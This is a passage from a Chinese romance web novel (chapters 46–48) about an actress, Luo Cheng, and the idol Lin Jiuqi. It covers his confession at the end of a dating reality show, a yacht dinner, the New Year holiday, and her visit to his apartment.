如果那天她不过生日,如果他没出车祸,如果他没有失忆……
他们现在的结局,应该会不一样吧。
林久期静静凝视着她,无尽的温柔在听到她说的话时肆意蔓延,眼底的情意没有一丝一毫的遮掩,他声音柔情似水。
“我喜欢你。”
他说。
“就像你喜欢我一样的,喜欢你。”
他温柔的声音传入洛澄耳中,却像是一道震破天荒的惊雷,把她的思绪炸得七零八碎。
常年在手机里才能听到的“我喜欢你”四个字,现在却真真切切地亲耳听见,宛如梦境一般,是那么的不真实。
可心跳却又那么明显的快了好几拍,提醒着她这不是梦。
她分不清他到底是在玩游戏,还是因为别的。
其余几人也愣怔了。
谁都没想到,林久期居然玩这么大?
安静的气氛下是周铮先开了腔,“好了好了,我们继续。”
接下来的游戏,洛澄一直都是心神慌乱的,她满脑子都是林久期刚才猝不及防的告白。
她越在意越想不通,她喉咙干涸的不行,一直在喝水,也试图掩饰自己的异常。
洛澄偷瞄了林久期一眼,他却像没事人一样。她心里不由涌上一股失落。
他或许真的就只是在做游戏,是她想多了。
天际彻底黑了下来,像是被墨染尽。
洛澄从二楼的浴室出来,边擦着头发边往自己的房间走。
她刚要反手关门,门框却被人抵住。
她回首,对上了林久期那双棕色的桃花眼。
这么晚了找她干什么?
她纳纳地抬头望着他,“林……”
话未了。
忽而,林久期低下头,夹杂着淡淡茉莉香的唇瓣,吻在了她盈润的唇上。
46. 第46章
唇畔相碰的那一瞬间,洛澄石化住了。
别说思绪了,就连心跳都快要消失了。
他的唇瓣有一点微凉,很薄,很软。他只是蜻蜓点水般,短暂地亲了三秒。
林久期没有立马直起身子,他弯着腰与她平视,“我不想让你误会刚才只是游戏。”
他声音微哑,“洛澄,我喜欢你,真心实意的喜欢你。”
他眼里韵含着无尽的认真和期待,他说完以后就这么凝注着她。
洛澄感受到温热的气息洒落在自己的面颊上,心底仿佛有什么东西在疯狂发芽生长。
她喉间仿佛被堵住了,大脑也失去了运转,整个人像是被定格了,一动不动。
她一直一言不发,林久期喉结上下滚动着,害怕是自己方才的举动吓着她了,他小心翼翼说:“对不起,刚才是我的问题,我不是故意想要冒犯你的。”
他眉心染着愧疚之意,“我知道我之前的一些行为或者是言语有些过分,我不求你的原谅,我只希望你能给我一个弥补的机会,可以吗?”
他看上去是如此真诚,眼眸中闪着干净又温和的光波,堪比黑夜中温柔的月光。
洛澄咬了咬牙,思绪乱飞中,她佯装镇定,“林老师,国王游戏已经结束了。”
“我知道。”林久期那股温柔似水的情意快要从眼里溢出来了,“我喜欢你,无关游戏。”
洛澄突然间不知道该怎么回应他,告诉他,她也特别喜欢他?
想了好久,她才憋出几个字,“我,我知道了。”
林久期脸上洋溢着笑,“那我就当你答应了。”
“答应?”洛澄脸上顷刻泛起一片绯红,“我没有答应和你在一起。”
“我知道,我是说,”林久期见她轻轻皱着眉,羞意上了脸,他抿唇笑了声,“你答应让我弥补你,让我追你了。”
笑什么?
洛澄心里嘀咕,感觉自己好像是被挑逗了,她涨红着脸,撂下一句,“随便你。”
尔后迅速关上房门。
一扇门之隔,林久期的声音还是透了过来,“晚安,洛澄。”
洛澄趴在门上,听到渐远的脚步声后才深深呼了口气,刚才紧张到几乎忘了呼吸。
她此刻脸如同发烧般的烫,她跑到化妆桌前照着镜子,耳朵也快熟透了。
洛澄咽了咽口水,着急忙慌地抓起手机点开微信,拍了拍乔媛媛的头像。
乔媛媛【怎么了小洛澄,想我了?】
洛澄在输入框里删了打,打了字又删,持续了好几分钟。
对面乔媛媛又弹来信息:【我看你正在输入半天了,你到底有什么屁要放?】
洛澄一鼓作气,发了几个字过去。
【林久期跟我表白了!!!?!】
她激动到连感叹号都按成了问号。
乔媛媛似乎比她还激动,接二连三发来震惊的表情包,把整个对话框都霸屏了。
随后她又十分不信任地发来了一句话。
【你该不会在做梦吧?】
【千真万确。】
洛澄倒在床上,回想着发生的一切,如晚霞抹过的面颊上情不自禁绽放着笑。
林久期说喜欢她,他居然说喜欢她。
她傻笑了好几声,全然没注意乔媛媛不断打来的微信电话,任由手机震动着。
他刚才是不是还说了要追她?
她没记错吧,他肯定说了吧!
洛澄眼睛都笑眯成一条缝了。
她甚至开始脑补起林久期各种追她的画面,想着他抱着鲜花跟她表白的模样。
一幻想到这,洛澄没忍住叫出了声。
发现自己失态了,她急忙捂住嘴,生怕被隔壁的人听见。
乔媛媛的电话又打来了,洛澄这次看见了,摁了接听。
“小洛澄你怕不是高兴的脑子都坏了,耳朵也失聪了吧,电话都不接。”
洛澄清了清嗓子,“手机没开声音。”
即使隔着电话,乔媛媛还是能听出来洛澄话里带笑,她八卦道:“快跟我说说,林久期都怎么跟你表白的!”
“就……”
洛澄叙述着从玩游戏开始发生的事情,她边说边笑,像极了那地主家的傻儿子。
乔媛媛听完过后也忍不住大叫了好几声,她磕的cp终于要在一起了!
她尽可能保持淡定,叮嘱道:“你记住啊,一定要让他追你一段时间,对于男人来说,越轻易得到的就越不珍惜。”
洛澄“嗯”了好几声,突然回忆着当时自己应该装的挺淡定,挺不在意的,林久期应该没有发现什么。
“对了对了,还有,”乔媛媛操碎了心,“他追你的时候你一定不要表现的很开心,他如果约你三次,你就只答应一次,不能搞得像你迫不及待想跟他接触似的,就要吊着他。”
洛澄一听就觉得自己办不到,“这,有点难吧。”
“必须做到,你要让他知道,你是很难约的,必须花时间花精力,还有,他的任何临时邀约,你都不准去!”
“为什么?”
“没有为什么。”乔媛媛在电话那头拍着胸脯说:“你就听我的就对了。”
-
天空刚微微亮,洛澄就起床了。
她激动了一晚上,和乔媛媛聊到大半夜,虽然只睡了几个小时,可她现在跟打了鸡血似的精神。
周铮一如既往在一楼为大家准备早餐,张可晴也难得起这么早,和黎青青坐在沙发上聊天。
“真舍不得你们。”
听到张可晴感叹,洛澄才恍然。
原来不知不觉,已经有一个月了,今天就是他们在恋综的最后一天。
周铮一边煎饼一边说道:“大家私底下还是可以经常聚的。”
黎青青转移话题,试图打破这分离所带来的伤感氛围,“你们过年都打算去哪?”
张可晴情绪来的快去得快,刚还丧着脸,现在已经满面笑容了,“我打算去国外旅游。”
周铮先说了句“来吃早餐”,他摘下围裙,回答道:“听说海滨市的冬天也很暖和,我准备带家里人去那边玩。”
张可晴:“你去那边要是有什么需要的就跟我说,我给你安排。”
听着他们的对话,洛澄陷入沉思。
她一直都想带父亲出去旅游,之前因为金钱的压力实现不了,现在她多多少少挣了些钱,这个想法终于可以实现了。
洛澄正谋算着去哪里比较好,身上突然多了件外套。
她不经意抬头,只见林久期已然落座在她旁边的空位上,他慢条斯理地喝着冰美式。
虽然别墅里开了空调,可只穿一件薄衬衫还是有些凉,这会儿多了件外套,洛澄才感觉身子暖和了不少。
祁玖下楼时第一眼就落在了洛澄的身上,她套着宽大的薄绒牛仔外套,任谁都看得出来这衣服不是她自己的。
他旋即扫了眼她身旁坐着的林久期。
洛澄那杯豆浆喝见底,她正想起身去厨房那边再倒一杯,屁股从板凳上抬起来,她手中的玻璃杯已经被人拿去了。
祁玖给她满上一杯,叮咛一句:“小心烫。”
其他三人默默吃着早餐不敢支声,总觉得周遭弥漫着一股火药味。
整个气氛凝固到了极致。
大门此时被人打开,三位观察员从外面进来,即使打破了现在的僵局。
三位观察员来是为了这最后一天。
今天没有特定的游戏,但是每人需要邀请自己的心动对象共进晚餐,以及心动告白。
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洛澄第一反应就是乔媛媛昨晚说的话。
——他的任何临时邀约,都不准去。
如果林久期邀请她,她到底该不该同意?
洛澄纠结了很久,甚至给乔媛媛发去了消息想要问问她,可乔媛媛一直都没有回。
洛澄站在二楼阳台处,时不时看眼手机等着回信。
听到背后的脚步声,她即使不回头,也猜到来的人是谁。
“可以邀请你一起共进晚餐吗?”
洛澄抬眸,他眼睛弯起浅浅的弧度,“方便吗?”
洛澄没吭声。
心里宛如有杆秤,一边是答应他,另一边是拒绝临时邀约,天秤左右摇摆不定的。
林久期也没打算追问到底,缓缓说着:“你先考虑一下,如果你愿意,晚上6点我会在平桥码头等你。”
望着他走远的背影。
洛澄更疑惑了。
所以这到底算不算临时邀约?
再看一眼手机,乔媛媛还是没回消息。
作罢,洛澄索性回了房间,准备补个午觉再起来化妆。
临近傍晚,太阳才穿过云层,稍稍露出些光芒,不过很快就收敛住了,向西边落下。
洛澄将用完的化妆品一一收回包里,这时听到敲门声,她往门口去。
祁玖开门见山道:“洛澄,一起去海边走走吗”
洛澄抿了抿唇,下意识往某个房间看了眼。
林久期这会儿不在别墅里,也不知道去哪了。
她静默良久,随即点了点头。
冬季的大概,神秘且孤独,他像是沉睡了,没有风浪,没有涟漪。
周围除了他们以外,就只剩下翱翔而过的海鸥。
太阳和月亮换了班,月色下的海平面银白又温柔,洛澄踩在月光沙滩上,深一脚浅一脚,他们就这样漫无目的地走着。
“洛澄。”
洛澄随着祁玖也停下了脚步。
两人面面相觑,祁玖犹豫了很久。
其实,今天上午林久期邀请她吃饭,他看见了。
他知道洛澄没有答应,所以他才想抢先一步,在她决定去之前,先一步带走她。
“我喜欢你。”他一字一句,温吞的说着:“从第一次见面,我就喜欢你。你之前说我和你认识的一个人很像,你说的那个人,是林老师吧。”
洛澄没有接嘴,听着他继续说:“我不知道你们直接发生过什么,但是,我相信我能做的比他好,他能给你的,我也可以,所以,你愿意跟我在一起吗?”
祁玖的心思,洛澄早就猜到了。
她知道迟早有一天祁玖会袒露的,与其这样耗下去,不如今天跟他出来,彻底说清楚。
“祁玖,你很好,你真的很优秀。”她很认真的说:“我相信你一定能找到一个值得让你付出一切的女孩子。”
说罢,洛澄鞠了个躬,“对不起。”
祁玖动了动唇,将心里翻腾的苦涩硬生生咽了下去,他声音依旧清雅温柔,“没关系,那,我也希望你能如愿以偿。”
-
平桥码头。
停泊在码头的游艇静静等候着出发,暗淡的天际下,码头的灯开始闪烁。
在看见不远处一道熟悉的人影时,洛澄终于停下步伐,她双手撑着膝盖,气喘吁吁着。
他穿着白色的棉服外套,站在光里,尤为明显。码头的海风很大,裹挟着海水特有的咸味,吹拂着他的发丝飞扬。
似乎感受到了她的存在,他偏转过头来。
他们隔着数米相望。
洛澄直起身子,她拖着沉重的步伐,走出阴霾,迫不及待向那人跑去。
她横冲直撞地想要闯入他的生命。
——在放弃你这件事上,我总是说话不算话。
47. 第47章
洛澄奔跑上通往海中的木质栈桥,最后停住在他跟前。
他们相互凝视着对方。
几秒后。
“你是笨蛋吗?”
洛澄气喘吁吁地说着:“现在都已经8点了,我没来,你不会走吗?”
他嗓音很轻,融在舒服的海浪声中,“我担心你来的时候找不到我。”
“我要是一晚上都没来呢,你打算一直等着?哪有你这么笨的人。”
林久期嘴角笑意明显,不疾不徐道:“可你来了。”
洛澄抿了抿嘴。
他神情柔和,让人移不开眼,他每句话每个字都透着柔情似水的情意,让人沉醉。
他问:“吃饭了吗?”
洛澄摇摇头。
林久期朝她伸出手,她犹豫了下,才把手搭了上去。
林久期微微一笑,牵着她上了停靠在码头的游艇。
夜色中,游艇出海,船尾处流下一道道涟漪,像星河璀璨,梦绘流光。
游艇上除了工作人员,只有他们二人。
露天甲板上,早已备好了各种海鲜美食,全是她最爱吃的。
林久期端起一碗奶油海鲜浓汤放在她面前,“尝尝合不合胃口。”
洛澄拿起勺子喝了一口,淡淡的奶香味,口感细致,质地浓稠,暖意从胃开始向身体四处扩散。
洛澄三下五除二地把一整碗都喝见底了。
洛澄心满意足,她下意识抬头,林久期戴着透明手套正在剥虾。
他垂着眸,浓密的长睫在他眼下投射出一片阴影,游艇的光勾勒出他清晰地轮毂,端庄英俊。
“真好看。”
“嗯?”
林久期抬眸望来。
“……”心里话一不小心说出来了,洛澄惊的一颤,她迅速别开眼,“我是说,夜景真好看。”
他低眉一笑,拨好的虾放在洛澄碗里,“你也好看。”
洛澄低下头掩饰脸上的羞涩,拿起筷子夹着虾吃,又拿起杯子喝水,看似平静,实则早已乱了心神。
“洛澄。”
听到唤她,洛澄抬起头。
忽地。
一只手伸了过来,洛澄大脑瞬间空白一片,身子僵硬的不敢动。
他捏着纸巾,轻轻地擦拭着她的嘴角,随着他的动作,她心脏迅速加速。
脑海里冒出三个字。
真没出息。
以前明明都是她肆无忌惮地撩他,时隔多年,自己的脸皮居然还变薄了,会脸红心跳了。
“怎么了?”
林久期已经收回了手,见洛澄纳纳地盯着自己。
撩回去。
洛澄心里不断说着。
可表面上还是打退堂鼓了,“没什么。”
一顿晚饭下来,洛澄一直觉得浑身不自在,那紧张的情绪怎么也压不住,她想要镇定下来,可心头的小鹿始终乱撞,她感觉都快撞死了。
两人没有着急回去,而是漫步在这白色沙滩上。
他们走得很慢,并着肩,彼此的距离忽远忽近,胳膊时不时会触碰到一起,两人的手都垂在身侧,似有意无意的,能碰到对方的手背。
世界很安静,但又似两人的兵荒马乱。
望着沉寂的大海,洛澄有些出神,想起高中那会儿,班里有个同学家里特别有钱,一到放假,他就会和家里人到处旅游,开学后又会带很多特产回来,班里人手一份。
记得高一下学期的暑假那年,他去了南方的海滨市度假,他带回来很多五彩斑斓的贝壳。
“九七你听。”洛澄把海螺的凑到林久期的耳边,“是不是有很神奇的声音。”
林久期附和道:“有。”
洛澄手捧着海螺,它小小的一只,壳口是淡淡的粉紫色,像胭脂一样,漂亮极了。
“我听别人说,海螺的声音就是大海的声音。”
“九七。”洛澄目不转睛地盯着他,“你看过大海吗?”
林久期摇头。
洛澄突然一把拉住他的手,“我们一起去看海吧!毕业以后。”
“好。”
……
洛澄忍不住偷瞄了身旁的人一眼。
儿时的愿望在这一刻终于实现了。
和你看海这件事,我幻想过无数次。
-
两人回到别墅时已经是快十一点了,其他人都睡了。
林久期脱下白色外套搭在沙发上,手机恰好响起,他拿着手机走到一旁窗前接电话。
洛澄则是上了楼,回到房间她直奔自己的行李箱,从里面的夹层中拿出了一个红包。
是之前买心动礼物时顺便买的。
他当时给林久期买的心动礼物是副耳钉,其实她还买了另外一份礼物,是个黄金转运珠,就封在了红包里。
她坐在桌前,在一张纸条上写了几个字,随后她一同塞进了红包里。
洛澄下楼时,林久期还在打电话。
她蹑手蹑脚走到沙发旁,一边紧盯着他,一边悄悄地把红包放进了他的衣服口袋里。
或许是做贼心虚,林久期回头时吓了洛澄一哆嗦,她立马直起腰杆,生怕他发现什么端倪。
不过他只是冲着她微微一笑,继续说着工作。
洛澄松了口气,马不停蹄上了楼。
-
长达一个月的恋综拍摄终于结束了,离开钱塘岛,洛澄还有些恋恋不舍,与其说是来完成工作,倒不如说是来度假更为贴切。
这一趟下来不仅交到了新朋友,和林久期的关系还跨越了一大个台阶。
洛澄打算回盐城的当天就返回莫川。林久期本是打算开车送她的,可一行人刚下飞机,他就接到了经纪人打来的电话,工作急事。
洛澄也不想麻烦他,自己坐了火车。
盐城每年都会下大雪。
莫川更是在白茫茫的一片中。
洛澄冷的不想离开房间,她整个人都蜷缩在被窝里,蒙着头,手里的手机微光照在她白瓷脸颊上,她时不时发出几声傻笑。
微博林久期的主页,在前几天他发了一条动态,是恋综最后一天他们在游艇上的夜景。
配文:很美。
洛澄晚上刷微博看见后第一时间就点了赞,不过用的是小号,甚至还评论了。
双水:真的很美。
她的评论无人问津,毕竟评论有几百万条,早就被淹没在话堆里了,林久期肯定没看见。
不过她也不在意,从她准备出道开始,她就创了个微博小号默默关注了林久期,他每条微博,她都会点赞评论。
虽然明知道他不会发现。
洛于彬敲门:“姌姌,关羽来找你了。”
洛于彬刚说完,洛澄房门嘭地一声,就被人粗暴推开重重撞在墙壁上。
关羽几大步上前,双手抓着被子用力一掀。
洛澄十分没形象的蜷成了一团,怒瞪着眼前的人,“你是不是有病忘吃药了。”
关羽一脸无辜,“橙子姐,我也不是怕你闷死在里面吗。”
见两人一见面就拌嘴,洛于彬早习惯了,他默默退出房间,顺带拉关上了门。
“谁大年三十像个蛆一样在床上动都不动。”
洛澄不甘示弱,“谁大年三十像个野猴子来别人家乱串。”
洛澄本来决定今年过年带父亲出去旅游的,可父亲不愿意,她也不想强求,就当在家里放几天假,好好休息睡睡懒觉。
可这关羽自从知道她回莫川以后,每天早上7,8点就来她家串门了,比隔壁村子的鸡起的还早。
洛澄懒得搭理她,继续躺在床上玩手机。
关羽也像狗皮膏药似的,赖在洛澄房间不走了,两人就这么各玩各的一直到大中午。
洛于彬给她们煮了面就出门了,去关羽家帮忙做年夜饭,今年两家打算一起过年,热闹些。
洛澄有点不太情愿的,因为关羽的妈妈王姨,是个热心肠又八卦的主。
洛澄刚踏进他们家门,王姨就牵着她坐在沙发上,开始长辈的关心询问了。
“姌姌哟,你现在了不得啦,都成大明星啦,一定赚不少钱的咯。”
王姨的方言口音味很重,但听着特别亲切,她念念叨叨说了很多,洛澄都不知道先回她哪一句。
“有没有找到合适的男朋友啦,带回家看看。”
“我听我家小羽说,你和那个小林是不是在一起啦,这娃娃现在也了不得哦,好火的,咱们县好多人都晓得他嘞。”
“王姨,你别听她乱说。”
见王姨还要说点什么,洛澄抢先一步道:“王姨我去喊关羽吃饭。”
她起身一溜烟就蹿进了关羽的房间。
关羽正在玩手机游戏,猝不及防脑袋就被人使劲拍了下,她吃痛叫了声,“你这么暴力会嫁不出去的。”
“谁让你整天乱说话,谁告诉你的我和林久期在一起?”
“网上啊,就那什么微博之夜,你不是跟久期哥表白了吗,都是你自己说的。”
洛澄不想费口舌解释,威胁道:“你要是再乱说话,我就告诉王姨你在盐城经常半夜不回宿舍。”
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王姨管的严,关羽每天晚上10点都要和她报备,但是关羽经常因为在外面和同学玩而撒谎,还让洛澄打掩护。
关羽气急败坏地指着她,“你!”
洛澄一巴掌拍开她的手,“你什么你,吃饭。”
大年三十的年夜饭吃的很早,五点过外面就响起了接连不断的鞭炮声。
吃过晚饭后几人围坐在客厅,等着盐城卫视8点钟的春节联欢晚会。
晚会的开场歌曲就是由TheOne三位成员带来的。
王姨指着电视里激动道:“是小林那娃娃!”
林久期穿着红色的西装外套,里面白色衬衫系着的黑色领带上,绣着金边花纹。
他身姿挺拔,像是玉树临风的贵公子。
歌声悠扬,如风过耳,他高辨识度的音色给人一种又温柔又充满力量感。
TheOne的ACE队长,果然名不虚传。
-
黑夜深沉。
大雪落在盐城每一个角落。
盐城电视台大厦楼下,停着一辆银色的布加迪,它仿佛置身于一片银装素裹中。
车子灯光亮起,映照出漫天飞舞的雪花。
须臾,驶入黑夜。
融庭小区外,车子停靠在了路边。
林久期下了车,他手握着手机在耳边,正拨打过去一通电话,电话响了没两声就被接听了。
“喂?”
电话里传来朦胧的声音,像是没睡醒。
林久期走进小区,“睡觉了?”
“没。”怕他觉得自己是在等他,洛澄急忙补充了句,“都快1点了,准备睡了。”
十二点整时,她是想给他发句新年快乐的,但是想了想,明明是他追她,她得矜持些。
可人毕竟是在意的,她每几分钟就看眼手机看有没有消息。
在众多人发来的“新年快乐”中,始终没有林久期发来的。
洛澄躺在床上翻来覆去的,春节联欢晚会12点就结束了,心想着他可能在忙。
即使眼皮打架,已经困得不行了,她也抱着手机强撑着。
直到林久期打来电话。
“我刚一直在忙,刚到家楼下。”
他像是在跟她解释。
洛澄嗯了下。
林久期又说:“吃饺子了吗?”
盐城有零点准时吃饺子的习俗,洛澄又嗯了下,“在关羽家吃的。”
林久期坐在家楼下亭子里的木椅子上,望着眼前白茫茫的一片,“你包的?”
“大家一起包的。”
电话里沉默了几秒钟,不知道他在想什么,只听他轻声说了句,“真想尝尝。”
还未等她接话,林久期唤了句,“洛澄。”
他声音有点哑,“新年快乐。”
“新年快乐。”
洛澄忽然想起什么,问:“你一个人吗?没有和黄谦他们一起吗?”
“在一起的。”林久期靠着椅背,他说完电话里一阵沉默,或许是对方觉得他这边过于安静,他又说:“在吃饭,我出来透口气。”
洛澄才放心下来,“好。”
听着电话里少女轻灵的声音,他唇瓣弯了弯,“我要进去了,你早点休息,晚安。”
林久期刚挂了电话,微信某个只有三人的群里,是范少杰发来的信息。
是张和家里人吃夜宵的照片。
黄谦也不甘示弱,发了张和家人打麻将的照片。
两人在群里聊的不亦乐乎,林久期没有吭声,他揣好手机。
雪似乎下的更大了。
寒风仿佛能穿透衣服,吹在身上是刺骨的疼。
林久期加快了回家的脚步。
昏暗的房间里是一片寂静,林久期没有开灯,他脱下外套扔在床上。
“啪——”
清晰可闻的声音让林久期不由回头,一个红色的物品似乎是从他衣服包里掉落出来的,它安安静静地躺在地板上。
林久期弯腰拾起。
是个红包。
他小心翼翼地拆开,里面除了放了串戴在手上的转运珠外,还有个纸条。
他走到窗边,借着外面的微光,才看清纸条上娟秀的黑色字写了一句话:林久期,新年快乐,新的一年希望你所愿皆所得。
旁边还画了一个可爱的微笑小表情。
林久期眉心微动,那一瞬间,外面下的仿佛不是鹅绒大雪,像是有一束温暖的阳光,照进了这清冷黑暗的房子里。
今年的冬天。
好像不太冷了。
48. 第48章
“小洛澄,这年都还没结束呢,你回来这么早干嘛?”
电话那头是乔媛媛疑惑的声音。
洛澄拖着行李箱走进浣林小区,小区里热闹的不行,不少孩童在外打雪仗,雪球相撞,顷刻间碎成粉末,如烟雾飘散。
“想你了。”
“拉倒吧。”乔媛媛半点也不信,“你哪次放假不是最后一天才回来,事出反常必有妖。”
洛澄走进楼栋。
“叮——”
电梯碰巧打开,三三两两的年轻人从里面走出。
“听说了吗,林久期去参加恋综了。”
“不会吧,他参加什么恋综啊?!”
“真的,好像就是年前去的,听说洛澄也在。”
“搞什么啊,他俩去谈恋爱啊,我真要哭了。”
听着几人谈话,洛澄低着头,鸭舌帽压的很低,口罩也将她遮得严严实实,她与他们擦肩而过进了电梯。
“不说了,信号不好。”
借着由头,洛澄挂了线。
刚进家门,大黄就踩着猫步从客厅优雅走来。
“大黄?”
洛澄立马拍了照发给乔媛媛。
【你怎么回家没有带大黄?】
乔媛媛回复:【有自动喂食器和饮水机的,不怕。】
【你就到家了?你真回去啊,我还以为你开玩笑的。】
洛澄回了个点头的表情包,她不敢多说,怕乔媛媛又追问个不停。
洛澄拿着换洗衣物进了卫生间,早上刚去山上墓地,一身的烟火味。
淋浴间的水流声掩盖住了手机的消息提示音,洛澄吹完头发才看见四十分钟前林久期的发来的微信。
是张照片。
照片上是一桌的甜点和咖啡。
洛澄手指附在屏幕上,逐渐放大,照片的边缘都露出了只手,她仔细端详好一会儿,实在分辨不出是男是女。
心里莫名有股酸味,她试探性问了句。
【在公司?】
她回完刚走出卫生间,对方就回信了。
【嗯嗯。】
洛澄在输入框里打入“和黄谦吗”几个字,犹豫半晌都没有发送出去,最后她还是全删了。
对面的人儿多半是看她一直在输入又没有下文,他又发来了一句话。
【你呢,没出去玩吗?】
洛澄倒了杯水,想了想,回了句:【没有,还没起。】
撒了个小谎。
她转移话题:【你今天一天都要在公司吗?】
林久期:【嗯。】
嗯?
就一个嗯?
洛澄嘟囔一句:“这么冷漠吗。”
她扫了眼手机上的时间,才下午四点过,旋即放下水杯,往房间去。
冰雪覆盖的城市,街灯已经亮起,长街上,树木静悄,大雪漫天。
洛澄一下车,拂面而来的寒风吹得脸疼,她打了个哆嗦,拉高了围巾遮住大半张脸。
迅速走进大厦。
刚迈进大厅,就被两位保安拦住了,洛澄又扯下围巾。
保安迅速抱歉道:“对不起洛老师。”
也不怪他们没认出,洛澄实在遮得太严。
洛澄莞尔一笑,“没事,辛苦了。”
盛兴传媒公司几乎没人,大家几乎都去过年了,除了几位值班的工作人员还在坚守岗位。
洛澄乘电梯直接上了楼。
她深呼吸了好几口气,调整好自己紧张的情绪,才往里走。
林久期的照片是在盛兴传媒六楼的休息区拍的,洛澄一路走去,却连一个人影都没瞧见。
偌大的休息区,只有靠窗的一桌上放满了食物,一杯喝尽的神色咖啡杯旁,还放着一块蓝色的伯爵手表。
奇怪,去哪了?
洛澄视线掠过桌子,上面还有一杯喝了一半的咖啡。
想知道他到底是和谁在吃下午茶的想法,达到了顶峰,洛澄四处环顾了下,确认没旁人后,她弯腰盯看着咖啡杯。
杯口没有找到专属于女性的口红印。
不是女生?
还是没涂口红?
即使如此,还是没办法印证心里的想法。
洛澄全神贯注地盯着。
“洛澄?”
背后突然响起的声音顿时下了洛澄一跳,她身子明显一抖,猛一回头,对上明朔审视的目光。
她立马起身站好,“明总。”
明朔穿着灰色的高领毛衣,金丝框眼镜架在高挺的鼻梁上,他修长的手指推了推眼镜,“你怎么在这?”
他嗓音不轻不重,却每一个字都像重锤敲在人心里,洛澄感受到一股无形的压迫感,在暗流涌动。
他眼神犀利,宛如能洞察一切谎言,洛澄不敢撒谎,直白道:“我来找林久期。”
明朔扫了他一眼,绕过她入座在淡绿色的沙发上,他长腿交叠,“他刚出去。”
洛澄脱口而出,“他去哪了?”
刚说完她就后悔了,明朔那打量的目光移来,他仿佛看穿了一切,视线移向了洛澄手里提着的袋子。
洛澄咽了咽口水,提着的东西往身后藏了藏。
良久,明朔才缓缓开口,“外出办事。”
“谢谢明总。”高度紧张下,洛澄一个深鞠躬,“那明总,我先走了。”
听到明朔嗯了声,洛澄伸手拿走桌上的表,随后马不停蹄快步离开。
也不知道林久期究竟去了哪里,他走的匆忙,连自己的手表也落下了。
到底是什么事这么急?
洛澄没打算到处找他,她直接打车去了融庭小区。
也不知道林久期究竟住在哪一栋楼,洛澄干脆找了个离小区门口最近的亭子,在里面坐着等。
融庭小区宛如公园,它沿湖泊而建,密林蔓延至居住区,即使是冬季,也依旧是绿油油的一片。
每片叶子上都结着厚厚的雪,洛澄闲着无聊,有事没事地就扒拉两下。
她的位置能清楚望见小区门口,天都暗了,林久期都还没回来。
手里也玩的快没电了,她也不敢乱走,怕就这么错过他。
洛澄左等右等,瞌睡都等来了。
林久期怎么还没回来?
不是说今天一天都要在公司吗?
洛澄正想着,小区门口走进来一位穿着黑色大衣的男人。
他步伐很快,洛澄看见的第一眼就急忙起身跟了上去。
他沿着路,绕过池塘和灌木丛,进入某栋楼。
洛澄紧跟了上去。
电梯正在持续上升,最后停在了十二楼。
她观望了好一会儿确认电梯不再动时,她摁开旁边的电梯,紧随其后上了十二楼。
融庭小区是一层一室的,她除了电梯,直接就走到了房门口。
她贴在门上,竖着耳朵听。
里面的人应该是刚进屋,还在玄关处。
洛澄本来就神经紧张,在听到里面传出的咳嗽声,她心跳更快了。
她突然觉得自己偷感很重,她立马站好,万一被监控里的物业以为她图谋不轨,那就完了。
她深深吸了口气,抬起手,敲了敲门。
“哪位?”
听到里面的说话声。
洛澄愣在原地,她感觉自己快窒息了,不敢吭声,也不知道自己到底在紧张什么。
洛澄连忙整理了下自己的衣服。
尔后,门开了。
林久期身上的大衣还没来得及脱下,肩膀上还沾着未融的雪粒。
两人四目相对,空气滞了一瞬。
洛澄动了动唇,“我,刚好回来工作,刚好饺子带多了,刚好你也住附近,就给你带了点。”
林久期迟迟没说话,就这么凝视着她。
洛澄觉得有些尴尬,她没话找话,“我刚才去了趟公司,没想到明总也在那。”
洛澄快要扛不住他的目光了。
长久静谧的凝视让她心里煎熬无比。
这家伙倒是说句话啊。
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“我是不是打扰你了?”
洛澄突然想逃离,“你在忙我就先不打扰你了。”
她转身欲走的同时,手腕突然被人往回一拉,入了对方怀抱里,她的脸贴在他的肩头,嗅到他身上白茉莉的清香中夹杂着淡淡的烟火味。
她心脏一紧。
原来,他是去祭祀了。
林久期双手抱着她,他嗓音有点哑,低沉道:“不打扰。”
洛澄:“你还没吃饭吧。”
他没说话,只是点了下头。
感受到他了的疲惫,洛澄抬起一手,轻轻拍了拍他的后背,“我带了饺子,自己包的,如果你不嫌弃的话可以垫垫肚子。”
林久期拉着她进屋。
洛澄站在玄关处,看他从鞋柜里拿出一双粉色的毛绒拖鞋,有些呆住。
女孩子的拖鞋,谁的?
今天一起吃下午茶的吗?
见她半天不动,他解释道:“新买的。”
洛澄这才随他进了屋。
整个房子是意式轻奢风,奢华而不浮夸,光洁的大理石地面映照着天花板的吊灯。
客厅的电视机旁的柜子上放着香薰机,白色烟雾每隔一段时间会持续上升,飘散着白茉莉的清香,沁人心脾。
洛澄带来的饺子是蒸好的,放在锅里热一热就能吃了。
她有些局促地坐在沙发上,望着厨房不知道在忙什么地林久期。
手机嘟嘟震动着,洛澄点开看,是乔媛媛弹来的微信视频。
要是被乔媛媛知道自己在林久期家,不用想也知道她得八卦到什么程度。
洛澄正纠结要不要接听,手机替她做了决定,没电直接自动关机了。
洛澄起身去厨房。
林久期穿着棕色的围裙,手持锅铲,与往日的贵公子不同,这会儿看他多了些人夫味。
他听到声音回过头来,“怎么了?”
洛澄直言,“我想要充电器,没电了。”
他继续专注着翻炒锅中的食材,“在最里面那间卧室。”
“……”洛澄脑子没转过弯来,“我自己去拿吗?”
“嗯。”怕她不知道哪个房间,林久期抬手一指,“就是那间。”
洛澄哦了下,瞥了林久期一眼,才往哪个房间去。
推开门,里面的窗帘半拉着,帘幕轻轻飘动,投射在地板上的光影朦朦胧胧的。
她扫视着四周,卧室安静整洁,床头柜上球形的夜灯亮着暖黄色的光,充电器就放置在旁边。
她拿起充电器,却没有马上离开的意思。
这是,他的卧室。
她走到窗边,他的房间能俯瞰整个湖泊,月光如银纱洒湖面上,像是蓝色丝绸上铺了金箔。
湖泊的另一边,就是浣林小区。
原来离的这么近。
洛澄不由自主发起了呆。
八成是夜景太美,连人儿走到身后她都没有注意。
他微微弯着腰,脸颊就凑在了她的脸颊旁边,“在看什么?”
洛澄一惊,下意识撇头的瞬间,嘴唇不偏不倚落在了林久期的脸上。
她迅速后撤,慌乱中脚绊了一下,林久期立马揽住她的腰间将她往回一拥。
两人离的很近,几乎贴在了一起,洛澄能清楚地感受到他沉闷的呼吸。
他已经脱下了围裙,浅蓝色的衬衫只扣了下面几颗,洛澄都不用刻意为之,他坚硬有力的锁骨就在她眼前。
卧室外的暖气悄无声息地涌了进来,洛澄脸颊烫的不行。
好热。
林久期盯着他,桃花眼里流动着星光,见她害羞,突然萌生出想要逗逗她的想法。
